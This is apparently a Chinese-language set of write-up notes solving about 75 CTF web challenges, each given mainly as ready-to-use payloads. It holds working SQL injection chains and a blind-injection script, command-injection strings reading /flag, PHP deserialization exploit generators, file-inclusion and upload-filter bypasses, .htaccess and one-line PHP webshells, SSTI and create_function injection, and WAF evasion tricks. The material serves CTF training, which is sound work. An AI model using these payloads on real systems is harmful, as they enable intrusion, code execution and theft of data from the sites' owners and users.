…
1.[SWPUCTF 2021 新生赛]gift_F12 F12
2.[SWPUCTF 2021 新生赛]jicao payload:
GET json={"x":"wllm"}
POST id=wllmNB
3.[SWPUCTF 2021 新生赛]easy_md5 payload:
GET name[]=1
POST password[]=2
4.[SWPUCTF 2021 新生赛]easy_sql ?wllm=1
sqlmap
1 2 3 4 5 6 7 sqlmap -u "url" --batch --dbs ... sqlmap -u "url" --batch -D db_name --tables ... sqlmap -u "url" --batch -D db_name -T table_name --columns ... sqlmap -u "url" --batch -D db_name -T table_name -C column_name --dump
5.[SWPUCTF 2021 新生赛]include payload:
php://filter/convert.base64-encode/resource=flag.php
6.[SWPUCTF 2021 新生赛]easyrce paylpad:
?url=system(%27cat%20/flllllaaaaaaggggggg%27);
7.[SWPUCTF 2021 新生赛]caidao 蚁剑直接连
8.[第五空间 2021]WebFTP admin/admin888
进入/var/www/html
/phoinfo.php
9.[SWPUCTF 2021 新生赛]babyrce cookie:admin=1
/rasalghul.php?url=cat${IFS}/flllllaaaaaaggggggg
10.[SWPUCTF 2021 新生赛]Do_you_know_http header:XFF/Client-IP:127.0.0.1,抓包发,跟随重定向
11.[SWPUCTF 2021 新生赛]ez_unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class wllm { public $admin ; public $passwd ; public function __construct ( ) { $this ->admin="admin" ; $this ->passwd="ctf" ; } public function __destruct ( ) { $admin = $this ->admin; $passwd = $this ->passwd; } } $a = new wllm ();echo serialize ($a );
12.[SWPUCTF 2021 新生赛]easyupload2.0 后缀phtml
13.[SWPUCTF 2021 新生赛]easyupload1.0 mine改为image/jpeg
14.[SWPUCTF 2021 新生赛]no_wakeup wakeup绕过,只要序列化中成员函数大于实际成员数即可绕过,即在最终序列化串中修改成员数量。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class HaHaHa { public $admin ; public $passwd ; public function __construct ( ) { $this ->admin="admin" ; $this ->passwd="wllm" ; } } $a = new HaHaHa ();echo serialize ($a );
传入?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
15.[suctf 2019]EasySQL payload:*,1
猜测内置查询语句:select $post['query']||flag from Flag
拼接后:select *,1||flag from Flag
即select *,1 from Flag
payload2:1;set sql_mode=PIPES_AS_CONCAT;select 1
,将||的功能从或运算改为字符串拼接
16.[ZJCTF 2019]NiZhuanSiWei exp:
?text=data://text/plain, welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class Flag { public $file = "flag.php" ;public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } $a = new Flag ();echo serialize ($a );
17.[SWPUCTF 2021 新生赛]PseudoProtocols payload1:?wllm=php://filter/read=convert.base64-encode/resource=hint.php
1 2 3 4 PD9waHANCi8vZ28gdG8gL3Rlc3QyMjIyMjIyMjIyMjIyLnBocA0KPz4= <?php //go to /test2222222222222.php ?>
payload2:?a=data://text/plain,I want flag
18.[BJDCTF 2020]easy_md5 抓包查看包头hint:select * from ‘admin’ where password=md5($pass,true)
payload1:?password=ffifdyop
payload2:?a[]=1&b[]=2
payload3:POST传param1[]=1¶m2[]=2
19.[NISACTF 2022]easyssrf payload1:file://fl4g
,访问ha1x1ux1u.php
payload2:?file=/flag
20.[SWPUCTF 2021 新生赛]easyupload3.0 1 2 .htaccess SetHandler application/x-httpd-php
再传图片马就行了
21.[SWPUCTF 2021 新生赛]error sqlmap一把梭
22.[SWPUCTF 2021 新生赛]hardrce exp:
1 2 3 4 5 6 7 <?php fwrite (STDOUT,'[+]your function: ' );$system =str_replace (array ("\r\n" , "\r" , "\n" ), "" , fgets (STDIN)); fwrite (STDOUT,'[+]your command: ' );$command =str_replace (array ("\r\n" , "\r" , "\n" ), "" , fgets (STDIN)); echo '[*] (~' .urlencode (~$system ).')(~' .urlencode (~$command ).');' ;
1 2 3 [+]your function: system [+]your command: cat /flllllaaaaaaggggggg [*] (~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
23.[NCTF 2018]签到题 访问/index.php 抓包,包头nctf2018栏即是flag
24.[SWPUCTF 2021 新生赛]pop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php error_reporting (0 );show_source ("index.php" );class w44m { private $admin = 'aaa' ; protected $passwd = '123456' ; public function Getflag ( ) { if ($this ->admin === 'w44m' && $this ->passwd ==='08067' ){ include ('flag.php' ); echo $flag ; }else { echo $this ->admin; echo $this ->passwd; echo 'nono' ; } } } class w22m { public $w00m ; public function __destruct ( ) { echo $this ->w00m; } } class w33m { public $w00m ; public $w22m ; public function __toString ( ) { $this ->w00m->{$this ->w22m}(); return 0 ; } } $w00m = $_GET ['w00m' ];unserialize ($w00m );?>
最后需要调用GetFlag(),为此需要w33m中的__toString
,令$this->w00m->{$this->w22m}=GetFlag
,w22m中的w00m可控。通过设置w33m的w00m为w44m赋值,为w33m赋值GetFlag,由于w44m成员属性非public,序列化串会有特殊字符,需要进行urlencode。exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php class w44m { private $admin = 'w44m' ; protected $passwd = '08067' ; } class w22m { public $w00m ; public function __destruct ( ) { echo $this ->w00m; } } class w33m { public $w00m ; public $w22m ; public function __toString ( ) { $this ->w00m->{$this ->w22m}(); return 0 ; } } $a = new w22m ();$a ->w00m = new w33m ();$a ->w00m->w00m = new w44m ();$a ->w00m->w22m = "GetFlag" echo urlencode (serialize ($a ));?>
25.[LitCTF 2023]导弹迷踪 F12
26.[SWPUCTF 2021 新生赛]sql 绕过空格使用/**/
绕过等号使用like
payload1:
-1'/**/order/**/by/**/3%23
payload2:
-1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like(database())%23
payload3:
-1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name/**/like('LTLT_flag')%23
payload4:
-1'/**/union/**/select/**/1,mid(group_concat(id,flag),1,20),3/**/from/**/LTLT_flag%23
payload5:
-1'/**/union/**/select/**/1,mid(group_concat(id,flag),21,40),3/**/from/**/LTLT_flag%23
payload6:
-1'/**/union/**/select/**/1,mid(group_concat(id,flag),41,60),3/**/from/**/LTLT_flag%23
27.[GXYCTF 2019]Ping Ping Ping payload:
1 2 127.0.0.1;`ls` 127.0.0.1;`tac flag.php`
28.[NSSCTF 2022 Spring Recruit]ezgame F12
29.[LitCTF 2023]我Flag呢? F12
30.[鹤城杯 2021]EasyP $_SERVE['PHP_SELF']
的特性,根目录存在index.php,访问http://localhost/
自动进入index.php,但地址栏不显示,但通过$_SERVE['PHP_SELF']
可以获取index.php这个文件名,其实是获取一条路径,/index.php
如果当前服务器路径是/test/test1/index.php
那么$_SERVE['PHP_SELF']
就会是/test/test1/index.php
basename()
函数就是获取最后一个/后面的东西
show_source可用show[source或show.source绕过
preg_match('/utils\.php\*$/i')
使用一个乱码的编码绕过,如%88
payload:?/index.php/utils.php/%88?show.source=1
31.[LitCTF 2023]PHP是世界上最好的语言!! payload:
1 2 <?php system ("cat /flag" );
32.[SWPUCTF 2021 新生赛]finalrce payload1:l\s /|tee 1.txt
然后访问1.txt
payload2:tac /flllll\aaaaaaggggggg|tee 1.txt
33.[NISACTF 2022]checkin 选中N1SACTF会同时选中后面那部分,粘贴到url,并进行urlencode,cuishiyuan那部分也是一样
payload:ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6%20Flag!%E2%81%A9%E2%81%A6N1SACTF
34.[LitCTF 2023]1zjs F12有个.dist/index.mud.js
,访问,F12注释有 /f@k3f1ag.php
,访问,jsfuck直接在控制台输出flag
35.[鹏城杯 2022]简单包含 脏数据绕过waf,提交大量参数
payload:
1 1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&flag=php://filter/convert.base64-encode/resource=flag.php
36.[LitCTF 2023]Ping 用POST传参,不要在前端传参
payload:command=0.0.0.0;cat /flag&ping=Ping
37.[LitCTF 2023]Follow me and hack me payload:?CTF=Lit2023 POST:Challenge=i'm_c0m1ng
38.[SWPUCTF 2022 新生赛]ez_ez_php payload:/?file=php://filter/read=convert.base64-encode/resource=flag
39.[LitCTF 2023]作业管理系统 F12获取口令进入后台,新建flag.php
1 2 <?php system ('cat /flag' );
访问/flag.php
40.[强网杯 2019]随便注 前置知识:
show :
show databases;//查数据库
show tables;//查表名
show columns from table;//查字段
alter :
修改已知表的列(增加add、更改alter、change、撤销drop)
添加列
alter table "table_name" add "column_name" type;
删除列
alter table "table_name" drop "column_name" type;
改变列数据类型
alter talbe "table_name" alter column "column_name" type;
改列名
alter table "table_name" change "column1" "column2" type;
alter talbe "table_name" rename "column1" to "column2"
SQL约束 :
not-null指示某列不能存储NULL值
alter table persons modify age int not null;
设置not null约束
alter table person modify age int null;
取消null约束
primary key 指定主键,确保某列有唯一标识,每个表有且只有一个主键
alter table persons add age primary key (id)
unique 保证某列每行必须有唯一的值(可以有多个unique约束,只能有一个primary key约束)
alter table person add unique (id);
check 限制列中值的范围
alter table person add check (id>0);
deafult 规定没有给列赋值时的默认值
alter table person alter city set default 'chengdu';//mysql
alter table person add constraint ab_c default 'chengdu' for city;//SQL server / MS access
auto_increment 自动赋值
foreign key保证一个表中的数据匹配另一个表中值的参照完整性
payload1:
1';show tables;#
1 2 3 4 5 6 7 8 9 array (1 ) { [0 ]=> string (16 ) "1919810931114514" } array (1 ) { [0 ]=> string (5 ) "words" }
1';show columns from `1919810931114514`;#
其中存在flag
过滤了select,可以使用16进制编码查询语句,select * from 1919810931114514
,结果为0x73656c656374202a2066726f6d20603139313938313039333131313435313460
使用prepare from预处理语句,将会在执行时进行编码转换,execute用来执行,select可以在一条语句为多个变量赋值,set只能对一个变量赋值
1 2 3 select @var1 = 'y' ,@var2 = 'n' #即可set @var1 = 'y' set @var2 = 'n'
set会触发waf:strstr($inject, "set") && strstr($inject, "prepare")
,使用大小写绕过
最终payload:
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
解法2:rename将wors改为其他表名,将1919…表名改为wors,给words表添加新的列名id,将flag改名data
payload:
1';rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigend not Null auto_increment primary key;alter table words change flag data varcahr(100);#
解法3:使用handler
payload:
1';handler `1919810931114514` open as `a`; handler `a` read next;#
41.[UUCTF 2022 新生赛]websign 禁用了F12、Ctrl+U、右键,直接抓包
42.[NISACTF 2022]level-up /robots.txt-> level_2_1s_h3re.php
md5强碰撞
1 array1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&array2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
hackbar无法传参会报错url malformed,需要使用bp ->Level___3.php
sha1,同时也是payload
1 array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
->level_level4.php
_被过滤可以用+或者[替代,payload:?NI+SA+=txw4ever
->55_5_55.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );include "str.php" ;$a = $_GET ['a' ];$b = $_GET ['b' ];if (preg_match ('/^[a-z0-9_]*$/isD' ,$a )){ show_source (__FILE__ ); } else { $a ('' ,$b ); }
create_function注入,payload:a=\create_function&b=}system('cat /flag');//
43.[HUBUCTF 2022 新生赛]checkin 弱比较,php array的形式还有序列化
1 2 3 4 5 <?php $a = array ("username" =>0 ,"password" =>0 );echo serialize ($a );
44.[CISCN 2019华东南]Web11 smarty ssti
xff处payload:{if system('cat /flag')}{/if}
然后F12查看flag
45.[HDCTF 2023]Welcome To HDCTF 2023 F12看到jsfuck直接复制控制台输出
46.[NISACTF 2022]babyupload /source下载源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @app.route('/upload' , methods=['POST' ] ) def upload (): if 'file' not in request.files: return redirect('/' ) file = request.files['file' ] if "." in file.filename: return "Bad filename!" , 403 conn = db() cur = conn.cursor() uid = uuid.uuid4().hex try : cur.execute("insert into files (id, path) values (?, ?)" , (uid, file.filename,)) except sqlite3.IntegrityError: return "Duplicate file" conn.commit() file.save('uploads/' + file.filename) return redirect('/file/' + uid)
上传文件时会将uid和文件名添加到数据库中,并重定向到该文件下,过滤了文件名带.的文件,只需要上传文件名为/flag
的文件,抓包改文件名即可
47.[GDOUCTF 2023]hate eat snake F12把snake.js里的971行修改成if(this['getScore']() > 1)
1 2 if (this ['getScore' ]() > 1 ) return alert (_0x324fcb (0x2d9 , 0x2c3 , 0x2db , 0x2f3 ) + 'k3r_h0pe_t' + _0xe4a674 (0x5a1 , 0x595 , 0x59e , 0x57c ) + 'irlfriend}' ),
然后开始游戏就弹flag
48.[NISACTF 2022]babyserialize php的魔术方法:
1 2 3 4 5 6 7 8 9 __invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法 __construct():具有构造函数的类在创建新对象的时候,回调此方法 __destruct():反序列化的时候,或者对象销毁的时候调用 __wakeup():反序列化的时候调用 __sleep():序列化的时候调用 __toString():把类当成字符串的时候调用,一般在echo处生效 __set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用 __get():读取不可访问或者不存在的属性的时候,进行赋值 __call():在对象中调用一个不可访问的方法的时候,会被执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php include "waf.php" ;class NISA { public $fun ="show_me_flag" ; public $txw4ever ; public function __wakeup ( ) { if ($this ->fun=="show_me_flag" ){ hint (); } } function __call ($from ,$val ) { $this ->fun=$val [0 ]; } public function __toString ( ) { echo $this ->fun; return " " ; } public function __invoke ( ) { checkcheck ($this ->txw4ever); @eval ($this ->txw4ever); } } class TianXiWei { public $ext ; public $x ; public function __wakeup ( ) { $this ->ext->nisa ($this ->x); } } class Ilovetxw { public $huang ; public $su ; public function __call ($fun1 ,$arg ) { $this ->huang->fun=$arg [0 ]; } public function __toString ( ) { $bb = $this ->su; return $bb (); } } class four { public $a ="TXW4EVER" ; private $fun ='abc' ; public function __set ($name , $value ) { $this ->$name =$value ; if ($this ->fun = "sixsixsix" ){ strtolower ($this ->a); } } } if (isset ($_GET ['ser' ])){ @unserialize ($_GET ['ser' ]); }else { highlight_file (__FILE__ ); } ?>
eval→代码执行,eval在__invoke中,就去找$a();
Ilovetxw里有toString里面return $bb();
为了触发toString,要找一个把类当字符串处理的函数,在four类里面有一个strlower($this->a),而这一行写在__set
方法里,所以需要调用__set
方法,就需要用到__call
方法,最后就会用到__wakeup()
用自己的话理解就是:
1 2 3 4 用最终结果反推的思路,我们需要执行@eval($this->txw4ever)这一行,并且控制$this->txw4ever的值为system('ls /')这样的命令执行payload,这里先按下不谈,我们需要执行@eval这一条,为了执行这一条,它在__invoke()方法里面,所以需要执行__invoke()方法,__invoke()尝试以调用函数的方式调用对象才会触发,就需要寻找$a();这样的语句,在Ilovetxw类的__toString()当中存在return $bb();这一句,而$bb=$this->su,所以需要让su为NISA对象,才能通过$bb();调用__invoke()。然后需要触发其中的__toString()方法,为了触发这个__toString()方法,需要找到将类当成字符串来处理的方法,常见的有echo,本题是strlower($this->a),这里让$this->a为对象Ilovetxw就可以了,而为了执行strlower(),这个strlower()写在类four的__set方法里,所以需要调用__set方法,需要对不存在或者不可访问的变量进行赋值,就会自动调用,Ilovetxw的__call()方法里面,$this->huang->fun=$arg[0];,可以发现,Ilovetxw里并没有成员fun,所以能触发__set,为了触发__set,__set在four类里,那么可控制$this->huang为对象four。接着需要触发__call方法,__call对不存在的方法或者不可访问的方法进行调用就自动调用,类TianXiWei的__wakeup()里面有$this->ext->nisa($this->x);而nisa()并不存在,所以要设置ext的值为类Ilovetxw的对象,通过__call来触发Ilovetxw里的__set,这个__set又能执行strlower进而触发__toString,进而触发__invoke(),最终执行里面的@eval() 写得清晰一点就从类和方法写链子 __invoke()->__toString()->__set()->__call()->__wakeup() NISA()->Ilovetxw()->four()->Ilovetxw()->TianXiWei()
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class NISA { public $fun ; public $txw4ever ='system("ls /");' ; } class TianXiWei { public $ext ; public $x ; } class Ilovetxw { public $huang ; public $su ; } class four { public $a ; private $fun ; } $a = new TianXiWei ();$a ->ext = new Ilovetxw ();$a ->ext->huang = new four ();$a ->ext->huang->a =new Ilovetxw ();$a ->ext->huang->a->su =new NISA ();echo urlencode (serialize ($a ));
至此,想必对php的反序列化有了一个较为深刻的理解了。
49.[NISACTF 2022]midlevel 和CISCN2019华东南web11一样
50.[NSSCTF 2022 Spring Recruit]babyphp 使用数组来绕过intval,会报错返回1,也能绕过正则后面的就是经典md5比较
payload:
POST a[]=1,2&b1[]=1&b2[]=2&c1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&c2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
51.[NISACTF 2022]bingdundun~ 文件上传,可以考虑phar或者zip协议,上传了zip之后
phar://xxx.zip/xxx
,由于xxx的内容是一句话,蚁剑连接该地址即可
52.[GDOUCTF 2023]EZ WEB F12->/src,阅读源码,postman用put方法访问/super-secret-route-nobody-will-guess
53.[LitCTF 2023]Vim yyds 扫目录,以及积累:vim打开文件会生成临时的swp,/.index.php.swp获取缓存,使用strings打开,获取代码逻辑
1 2 3 4 5 6 7 8 9 10 ?> } eval (system ($_POST ['cmd' ])); echo "<p>Oh You got my password!</p>" ; if ($_POST ['password' ] === base64_encode ($password )) {echo "<p>can can need Vim </p>" ;$password = "Give_Me_Your_Flag" ;error_reporting (0 );<?php
将password进行b64编码,传入,执行任意命令
54.[GXYCTF 2019]BabyUpload content-type修改,上传.htaccess,过滤<?,使用script绕过
<script language='php'>assert($_REQUEST['cmd'])</script>
waf不允许执行system(),使用show_source()
55.[GKCTF 2020]cve版签到 点击页面的连接可以回显header,php的get_headers()函数在低版本被url的\0截断就可以请求连接。浏览器通过%00截断
?url=http://127.0.0.1%00www.ctfhub.com
回显的Tips里面有host以123结尾
?url=http://127.0.0.123%00www.ctfhub.com
56.[HNCTF 2022 Week1]2048 F12找到flag的ascii
1 2 3 4 5 6 7 plain = [102 ,108 ,97 ,103 ,123 ,53 ,51 ,49 ,54 ,48 ,99 ,56 ,56 ,56 ,101 ,50 ,53 ,99 ,51 ,102 ,56 ,50 ,56 ,98 ,50 ,51 ,101 ,51 ,49 ,54 ,97 ,55 ,97 ,101 ,48 ,56 ,51 ,125 ] s = "" for i in plain: s+=chr (i) print (s)
57.[LitCTF 2023]Http pro max plus Client-IP:127.0.0.1
Referer:pornhub.com
User-Agent:Chrome
Via:Clash.win
然后F12查看注释的flag地址最后访问
58.[NISACTF 2022]popchains 分析下链子,传入wish进行反序列化,在Try_Work_Hard类里找到include($value)函数,需要include(/flag),这是最终目的,为此需要调用append方法,而类里面有__invoke()方法会调用append,为此需要触发invoke,为了触发invoke,需要寻找$a(),在Make_a_Change类的__get方法里return了一个$function(),$a()就找到了。为此需要触发__get,而$function的值是$this->effort,可以控制它为对象,为了触发get,需要访问不存在的属性,而Road_is_Long里的__toString里面的return $this->string->page,可以控制string为其他类对象,其他类对象里面没有page这个属性,就可以触发__get,所以要触发__toString,而Road_is_Long的__construct里面的$this->page = $file;会触发__toString,就让$this->page的值为Road_is_Long的对象就可以了。尝试写个exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class Road_is_Long { public $page ; public $string ; } class Try_Work_Hard { protected $var = "/flag" ; } class Make_a_Change { public $effort ; } $a = new Road_is_Long ();$a ->page = new Road_is_Long ();$a ->page->string = new Make_a_Change ();$a ->page->string ->effort = new Try_Work_Hard ();echo urlencode (serialize ($a ));
59.[GDOUCTF 2023]泄露的伪装 扫目录,www.rar泄露,->orzorz.php,使用伪协议进行传参使得file_get_contents的结果为ctrl
payload:?cxk=data://text/plain,ctrl
60.[CISCN 2019华北Day2]Web1 使用intruder配合sql injection的payload快速筛选过滤关键词,通过观察过滤关键词采取盲注手段
poc:id=0^(ascii(substr(select(flag)from(flag)),1,1))>101)
payload:if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2) % (i,j)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsurl = "http://node2.anna.nssctf.cn:28080/index.php" flag = "" for i in range (1 ,60 ): for j in range (32 ,128 ): payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i,j) data = {"id" :payload} r = requests.post(url,data) if "Hello" in r.text: x = chr (j) flag += str (x) print (flag) break
61.[HCTF 2018]Warmup 代码waf逻辑是通过mb_substr截取0到strpos($page.’?’,’?’)也就是两个?之间的值,并和白名单进行比较,构造
?file=source.php?../../../../../../../../../ffffllllaaaagggg
62.[HNCTF 2022 Week1]Interesting_include payload:filter=php://filter/read=convert.base64-encode/resource=flag.php
63.[NSSRound#1 Basic]basic_check curl访问靶机地址允许put方法,使用put 地址/shell.php写入webshell
64.[SWPUCTF 2022 新生赛]ez_rce 扫目录 robots.txt发现/NSS/index.php,tp5框架,工具一把梭
flag在/nss/ctf/flag/flag
65.[羊城杯 2020]easycon 蚁剑直接连index.php,下载bbbbbb.txt,base64转图片
66.[LitCTF 2023]这是什么?SQL !注一下 ! sqlmap一把梭
67.[鹤城杯 2021]Middle magic %0a绕过正则,数组绕过sha1,json_encode()内容和字符串比较漏洞,0 == "string"
payload:
?aaa=%0apass_the_level_1%23 POST:admin[]=1&root_pwd[]=2&level_3={"result":0}
68.[GDOUCTF 2023]受不了一点 payload:/?aaa=114514a&bbb=114514 POST gdou[]=1&ctf[]=2 Header:Cookie:cookie=j0k3r
69.[GKCTF 2021]easycms /admin
admin/12345
设计→自定义→导出主题→保存,会在url中得到b64文件名,修改为flag的b64值L2ZsYWc=
任意文件下载
文件上传没利用成功,保存提示fail
70.[HNCTF 2022 Week1]easy_html 抓包访问/fl4g.php,前端修改限长为11,随便输入11位数字getflag
71.[HDCTF 2023]SearchMaster payload:POSTdata={system('cat /f*')}
72.[UUCTF 2022 新生赛]ez_rce 读取文件指令还有nl
使用短标签,先闭合,反引号执行
payload1:?code=?><?=`l\s /`?>
payload2:?code=?><?=`nl /fffffffffflagafag`?>
73.[第五空间 2021]pklovecloud 链子分析:需要执行ace下的file_get_contents($file),为此需要让$this->openstack->neutron===$this->openstack->nova成立,让两者都为null就行,可以控制$this->docker=null,由于cinder是protected类型,只能在内部赋值,而我们实际是可以控制__construct()方法执行什么的,源代码这里给$this->cinder赋值了没有用的pkshow对象,这里修改成我们要的ace对象从而执行它的echo_name方法,而to_String则是在源代码中的echo处触发,反序列化了pks的序列化串会得到对象,echo这个对象的时候->__toString->$this->cinder->echo_name()此时$this->cinder为ace对象,则会触发ace对象里的echo_name函数则会执行里面的代码,绕过了$this->openstack->neutron===$this->openstack->nova进入到file_get_contents("flag.php")成功读取文件
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class acp { protected $cinder ; public $neutron ; public $nova ; function __construct ( ) { $this ->cinder = new ace (); } } class ace { public $filename ="../nssctfasdasdflag" ; public $openstack ; public $docker ; } $a = new acp ();$b = new ace ();$b ->docker='' ;echo urlencode (serialize ($a ));
74.[HNCTF 2022 Week1]easy_upload 直接传一句话 蚁剑连接
75.[第五空间 2021]yet_another_mysql_injection 绕过空格使用/**/,绕过等于号使用like,绕过大于小于号使用least()和greatest(),绕过subtstr()使用mid,绕过in使用like(‘admi%’),这只是和题目无关的相关积累,非预期解1是phpmyadmin有后台
预期解是Quine构造,也就是输出自身,mysql语句有
1 REPLACE(str,old_string,new_string);
对字符串进行搜索替换,构造字符串S
1 2 3 REPLACE('A',B,'A') A为原字符串 REPLACE("B",B,"B")
就得到S:
1 REPLACE('REPLACE("B","B","B")',B,'REPLACE("B","B","B")')
然后将S替换后
1 REPLACE('REPLACE("B","B","B")',REPLACE("B","B","B"),'REPLACE("B","B","B")')
S中间那个B也被替换了,这不满足需求,使用编码处理,
1 2 3 4 5 REPLACE('A',B的编码,'A') 其中A为原字符串 REPLACE("B",B的编码,"B") REPLACE('REPLACE("B","B的编码","B")',B的编码,'REPLACE("B","B的编码","B")')
接下来还有单双引号的问题,A字符串使用单引号会提前闭合,使用双引号就会造成不匹配,可以依次replace让双引号替换为单引号
1 2 S:REPLACE(REPLACE('A',CHAR(34),CHAR(39)),B的编码,'A') A:REPLACE(REPLACE("B",CHAR(34),CHAR(39)),B的编码,"B")
